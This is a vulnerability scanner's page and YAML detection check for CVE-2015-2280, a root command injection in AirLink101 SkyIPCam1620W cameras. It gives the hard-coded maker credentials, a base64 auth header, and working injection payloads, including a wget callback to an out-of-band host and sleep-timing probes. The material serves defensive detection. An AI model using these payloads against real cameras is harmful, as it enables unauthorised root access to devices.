Airlink101 Skyipcam — 1 vulnerability check

noctis ships 1 vulnerability check for Airlink101 Skyipcam, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

AirLink101 SkyIPCam1620W snwrite.cgi mac Command Injection

CVECVE-2015-2280
Severityhigh · CVSS 8.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, script, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/airlink101-skyipcam/CVE-2015-2280.yaml

Detects the OS command injection in /maker/snwrite.cgi of AirLink101 SkyIPCam1620W network cameras (firmware FW_AIC1620W_1.1.0-12, no vendor fix): the mac parameter is pasted into a root shell command, and the /maker/ pages open with the hard-coded productmaker:ftvsbannedcode account. On a host with the SkyIPCam Basic realm whose snwrite.cgi form opens with that account, the feed injects `$(<command>)${NOCTIS?}`: the shell runs the benign command, then aborts before the MAC-writing script starts, so the camera's MAC address is never changed. Confirmation is an out-of-band HTTP callback whose URL only a shell can rebuild, or a reply delay that scales with an injected sleep; a camera that only proves the hard-coded account opens the vulnerable page is reported at a lower quality of detection.

How noctis detects it

  1. HTTP(S) request GET /
  2. HTTP(S) request GET /maker/snwrite.cgi
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET /maker/snwrite.cgi
  5. Checks maker.body for value="[0-9A-Fa-f:]+"
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET /maker/snwrite.cgi?mac=$(wget${IFS}-O-${IFS}http://{{oob_host}}:{{oob_port}}/{{oobp.a…
  8. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: SkyIPCam snwrite.cgi command injection confirmed: with the hard-coded productmaker account, the injected `$(wget ...)` in the mac parameter…
  9. HTTP(S) request GET /maker/snwrite.cgi?mac=$(sleep${IFS}0)${NOCTIS?}
  10. HTTP(S) request GET /maker/snwrite.cgi?mac=$(sleep${IFS}6)${NOCTIS?}
  11. HTTP(S) request GET /maker/snwrite.cgi?mac=$(sleep${IFS}3)${NOCTIS?}
  12. Checks slow3.body for [\s\S]* → finding QoD 75: SkyIPCam snwrite.cgi command injection confirmed by timing with the hard-coded productmaker account: control mac=$(sleep${IFS}0) answered i…
  13. Checks maker.body for value="[0-9A-Fa-f:]+" → finding QoD 70: SkyIPCam /maker/snwrite.cgi answers 401 without credentials and opens its MAC-write form ("Network Camera", id="mac") with the hard-coded p…

References:

Feed source — tests/vulnerabilities/airlink101-skyipcam/CVE-2015-2280.yaml
# AirLink101 SkyIPCam1620W — OS command injection in /maker/snwrite.cgi `mac`
# (CVE-2015-2280, CORE-2015-0011)
#
# Ported from OpenVAS/Greenbone NVT `2015/gb_skyipcam_rce_07_15.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.105318, GPL-2.0-only). Injection point and sink
# from the Core Security advisory CORE-2015-0011 (firmware
# FW_AIC1620W_1.1.0-12_20120709_r1192; no vendor fix published):
#   - /server/usr.ini ships a hard-coded "maker" account
#     productmaker:ftvsbannedcode that opens the /maker/ CGIs.
#   - snwrite.cgi formats `/etc/init.d/macwrite.sh %s 1>/dev/null ` with the
#     `mac` query value (snprintf, 0x80 bytes) and hands it to system(), so
#     shell syntax in `mac` runs as root. The advisory's PoC is
#     `GET /maker/snwrite.cgi?mac=1234;ps`.
#
# The NASL only logs in with the maker account and matches the snwrite.cgi
# form ("Network Camera", id="mac", value="<MAC>"); it never injects.
#
# Never runs macwrite.sh: a normal `mac=` request (and the advisory's
# `mac=1234;ps`) rewrites the camera's MAC address. Every probe below sends
# `mac=$(<cmd>)${NOCTIS?}`: the shell runs <cmd> while expanding the
# argument list, then the `${NOCTIS?}` expansion of an unset variable makes the
# non-interactive shell exit before the command is executed — macwrite.sh is
# never started and nothing is written (checked against dash, busybox ash and
# bash).
#
# The payload is sent raw — `$ ( ) { } ?` are not percent-encoded and spaces
# are written `${IFS}` — so it reaches the shell unchanged whether or not the
# CGI URL-decodes its query. A %XX-encoded payload on a CGI that does not
# decode would reach macwrite.sh as a plain argument and rewrite the MAC.
#
# The line is cut at 127 bytes by the 0x80-byte snprintf buffer (24-byte
# prefix): a value of up to 103 bytes keeps `)${NOCTIS?}` whole, and the shell
# still aborts when only the ` 1>/dev/null ` suffix is cut — except at exactly
# 100 bytes, where a dangling ` 1>` is a syntax error and nothing runs. A
# longer value loses its closing `)` (syntax error, nothing runs either). Every
# length was checked against dash, busybox ash and bash: macwrite.sh never ran.
#
# Detection, gated on the SkyIPCam Basic realm, snwrite.cgi answering 401
# without credentials and the snwrite.cgi form with the maker account:
#   1. OOB callback (QoD 97, only when OOB is configured and the value is at
#      most 103 bytes and not 100, i.e. OOB host:port up to 24 characters):
#      `$(wget${IFS}-O-${IFS}http://<oob>/<a>$()<b>)` — the token is
#      split by an empty $() so only a shell rebuilds the callback path. wget
#      prints to the command substitution, nothing is stored on the camera.
#   2. Time differential (QoD 75): `$(sleep${IFS}0)` control under 3 s,
#      `$(sleep${IFS}6)` within control + [5 s, 9 s) and `$(sleep${IFS}3)`
#      within control + [2.5 s, 4.5 s), at least 2 s apart — system() blocks until the shell
#      exits, so each delay tracks its own argument; a host that is slow on
#      every request, or tarpits every request carrying shell syntax, cannot
#      satisfy both windows. duration_ms covers the full response (#1924),
#      so a build that sends its headers before system() is caught too.
#   3. Backdoor access (QoD 70): the hard-coded maker account opens the
#      snwrite.cgi form — the NASL's own check. No vendor fix exists, so a
#      camera that accepts this account runs the vulnerable CGI.
#
# Better than the NASL: real execution is proven (1, 2) instead of a page
# match, and the probes never trigger the MAC rewrite.
#
# `http_request` sends `$ ( ) { } ?` raw in the query (checked on the mock's
# request line), so no raw tcp_connect is needed.
uid: f465b9cf-9639-49d1-985b-3557e3b4b1fe
name: "AirLink101 SkyIPCam1620W snwrite.cgi mac Command Injection (CVE-2015-2280)"
description: |
  Detects the OS command injection in /maker/snwrite.cgi of AirLink101
  SkyIPCam1620W network cameras (firmware FW_AIC1620W_1.1.0-12, no vendor fix):
  the mac parameter is pasted into a root shell command, and the /maker/ pages
  open with the hard-coded productmaker:ftvsbannedcode account. On a host with
  the SkyIPCam Basic realm whose snwrite.cgi form opens with that account, the
  feed injects `$(<command>)${NOCTIS?}`: the shell runs the benign command, then
  aborts before the MAC-writing script starts, so the camera's MAC address is
  never changed. Confirmation is an out-of-band HTTP callback whose URL only a
  shell can rebuild, or a reply delay that scales with an injected sleep; a
  camera that only proves the hard-coded account opens the vulnerable page is
  reported at a lower quality of detection.
cves: [CVE-2015-2280]
cvss: 8.8
severity: high
confidence_base: 0.30
category: rce
tags: [airlink101, skyipcam, ip-camera, iot, command-injection, rce, hardcoded-credentials, default-credentials, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-2280"
  - "https://seclists.org/bugtraq/2015/Jul/49"
  - "https://www.exploit-db.com/exploits/37527"
  - "OpenVAS/Greenbone NASL 2015/gb_skyipcam_rce_07_15.nasl (GPL-2.0-only)"

steps:
  # Pre-initialise every stored result read in a condition below.
  - id: init-root
    action: set_var
    var_name: root
    var_value: {status: 0, body: "", headers: {}}

  - id: init-unauth
    action: set_var
    var_name: unauth
    var_value: {status: 0, body: "", headers: {}}

  - id: init-maker
    action: set_var
    var_name: maker
    var_value: {status: 0, body: ""}

  - id: init-ctrl
    action: set_var
    var_name: ctrl
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-slow6
    action: set_var
    var_name: slow6
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-slow3
    action: set_var
    var_name: slow3
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-maker-ok
    action: set_var
    var_name: maker_ok
    var_value: false

  # ── Gate: SkyIPCam realm, snwrite.cgi protected, maker account opens it ──
  - id: root
    action: http_request
    method: GET
    path: /
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    store_as: root

  - id: snwrite-unauth
    action: http_request
    method: GET
    path: /maker/snwrite.cgi
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    store_as: unauth

  - id: realm
    action: script
    code: |
      let a = if "www-authenticate" in root.headers { root.headers["www-authenticate"] } else { "" };
      let b = if "www-authenticate" in unauth.headers { unauth.headers["www-authenticate"] } else { "" };
      #{ sky: stridx(a, "realm=\"SkyIPCam\"") >= 0 || stridx(b, "realm=\"SkyIPCam\"") >= 0 }
    store_as: gate

  # Authorization = base64("productmaker:ftvsbannedcode"), the /server/usr.ini
  # maker entry quoted in the advisory.
  - id: snwrite-maker
    action: http_request
    method: GET
    path: /maker/snwrite.cgi
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    condition: "gate.sky == true && unauth.status == 401"
    headers:
      Authorization: "Basic cHJvZHVjdG1ha2VyOmZ0dnNiYW5uZWRjb2Rl"
    store_as: maker

  - id: maker-form
    action: match
    source: maker.body
    pattern: "value=\"[0-9A-Fa-f:]+\""
    condition: "maker.status == 200 && stridx(maker.body, \"Network Camera\") >= 0 && stridx(maker.body, \"id=\\\"mac\\\"\") >= 0"
    on_match:
      set_vars:
        maker_ok: true

  # ── 1. OOB callback ──────────────────────────────────────────────────────
  # mac = $(wget${IFS}-O-${IFS}http://<oob_host>:<oob_port>/<a>$()<b>)${NOCTIS?}
  # fits = at most 103 bytes and not 100 (see the header: cut-length safety).
  - id: oob-payload
    action: script
    condition: "maker_ok == true && oob_enabled"
    code: |
      let n = strlen(oob_token);
      let a = substr(oob_token, 0, 7);
      let b = substr(oob_token, 8, n - 1);
      let plain = "$(wget${IFS}-O-${IFS}http://" + oob_host + ":" + oob_port + "/" + a + "$()" + b + ")${NOCTIS?}";
      let l = strlen(plain);
      #{ a: a, b: b, fits: l <= 103 && l != 100 }
    store_as: oobp

  - id: inject-oob
    action: http_request
    method: GET
    path: "/maker/snwrite.cgi?mac=$(wget${IFS}-O-${IFS}http://{{oob_host}}:{{oob_port}}/{{oobp.a}}$(){{oobp.b}})${NOCTIS?}"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 20
    condition: "maker_ok == true && oob_enabled && oobp.fits == true"
    headers:
      Authorization: "Basic cHJvZHVjdG1ha2VyOmZ0dnNiYW5uZWRjb2Rl"
    store_as: oob_req

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    condition: "maker_ok == true && oob_enabled && oobp.fits == true"
    store_as: oob_result
    on_success:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "SkyIPCam snwrite.cgi command injection confirmed: with the hard-coded productmaker account, the injected `$(wget ...)` in the mac parameter fetched the per-run OOB URL, whose token only a shell could rebuild from its $()-split form (HTTP callback received); the shell was aborted by ${NOCTIS?} before macwrite.sh ran"
      stop: true

  # ── 2. Time differential ─────────────────────────────────────────────────
  - id: control
    action: http_request
    method: GET
    path: "/maker/snwrite.cgi?mac=$(sleep${IFS}0)${NOCTIS?}"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    condition: "maker_ok == true"
    headers:
      Authorization: "Basic cHJvZHVjdG1ha2VyOmZ0dnNiYW5uZWRjb2Rl"
    store_as: ctrl

  - id: inject-sleep6
    action: http_request
    method: GET
    path: "/maker/snwrite.cgi?mac=$(sleep${IFS}6)${NOCTIS?}"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 20
    condition: "maker_ok == true && ctrl.status != 0 && ctrl.duration_ms < 3000"
    headers:
      Authorization: "Basic cHJvZHVjdG1ha2VyOmZ0dnNiYW5uZWRjb2Rl"
    store_as: slow6

  - id: inject-sleep3
    action: http_request
    method: GET
    path: "/maker/snwrite.cgi?mac=$(sleep${IFS}3)${NOCTIS?}"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 20
    condition: "maker_ok == true && ctrl.status != 0 && ctrl.duration_ms < 3000 && slow6.status == ctrl.status && slow6.duration_ms >= ctrl.duration_ms + 5000 && slow6.duration_ms < ctrl.duration_ms + 9000"
    headers:
      Authorization: "Basic cHJvZHVjdG1ha2VyOmZ0dnNiYW5uZWRjb2Rl"
    store_as: slow3

  - id: confirm-timing
    action: match
    source: slow3.body
    pattern: "[\\s\\S]*"
    condition: "maker_ok == true && ctrl.status != 0 && ctrl.duration_ms < 3000 && slow6.status == ctrl.status && slow6.duration_ms >= ctrl.duration_ms + 5000 && slow6.duration_ms < ctrl.duration_ms + 9000 && slow3.status == ctrl.status && slow3.duration_ms >= ctrl.duration_ms + 2500 && slow3.duration_ms < ctrl.duration_ms + 4500 && slow6.duration_ms - slow3.duration_ms >= 2000"
    on_match:
      finding:
        confidence_delta: 0.62
        qod: 75
        evidence: "SkyIPCam snwrite.cgi command injection confirmed by timing with the hard-coded productmaker account: control mac=$(sleep${IFS}0) answered in {{ctrl.duration_ms}} ms, $(sleep${IFS}6) in {{slow6.duration_ms}} ms and $(sleep${IFS}3) in {{slow3.duration_ms}} ms (delay scales with the injected argument); the shell was aborted by ${NOCTIS?} before macwrite.sh ran"
      stop: true

  # ── 3. Backdoor access to the vulnerable CGI ─────────────────────────────
  - id: report-maker
    action: match
    source: maker.body
    pattern: "value=\"[0-9A-Fa-f:]+\""
    condition: "maker_ok == true"
    on_match:
      finding:
        confidence_delta: 0.40
        qod: 70
        evidence: "SkyIPCam /maker/snwrite.cgi answers 401 without credentials and opens its MAC-write form (\"Network Camera\", id=\"mac\") with the hard-coded productmaker:ftvsbannedcode account; snwrite.cgi passes mac to system() unfiltered on this firmware (injection not confirmed: OOB off or not received, no timing difference measured)"

View these feeds on GitHub